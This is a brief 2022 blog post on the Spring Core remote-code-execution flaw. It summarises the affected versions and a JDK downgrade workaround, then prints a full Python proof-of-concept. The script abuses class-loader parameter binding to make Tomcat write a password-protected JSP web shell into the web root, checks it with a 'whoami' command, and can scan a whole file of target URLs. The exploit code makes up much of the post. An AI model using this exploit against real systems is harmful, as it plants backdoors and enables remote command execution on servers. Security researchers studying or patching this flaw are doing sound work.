Spring Core RCE 0-day vulnerability

March 30, 2022    Article    305 words    2 mins read

Earlier today we got a hint that a new Spring Core RCE might be available:

Updated, it’s confirmed now.

As the world’s most popular Java lightweight open-source framework, Spring allows developers to focus on business logic and simplifies the development cycle of Java enterprise applications.

However, in the JDK9 version (and above) of the Spring framework, a remote attacker can obtain the AccessLogValve object and malicious field values through the parameter binding function of the framework on the basis of meeting certain conditions, thereby triggering the pipeline mechanism and writing arbitrary fields. SpringShell: Spring Core RCE 0-day Vulnerability - Image

An unconfirmed, but probable, remote code execution vulnerability is believed to exist in Spring, an extremely popular Java framework. This issue is likely easily exploited in common configurations. If confirmed, another notice will be sent out with a severity of ‘critical’. While unconfirmed, the severity has been assigned ‘high’.

Looks serious if confirmed.

Well, now it’s confirmed. Additional info (PDF file, in Chinese by original author).

Vulnerability impact

  • JDK version 9 and above.
  • uses Spring Framework or derivative framework.

Bug fixes

At present, the Spring maintainers have not released a patch and it is recommended to use a lower JDK version as a temporary solution.

PoC (download)

#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"

    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:

        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Vulnerability present, shellURL:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass

def main():
    parser = argparse.ArgumentParser(description='Srping-Core Rce.')
    parser.add_argument('--file',help='url file',required=False)
    parser.add_argument('--url',help='target url',required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open (args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)

if __name__ == '__main__':
    main()

What does it do?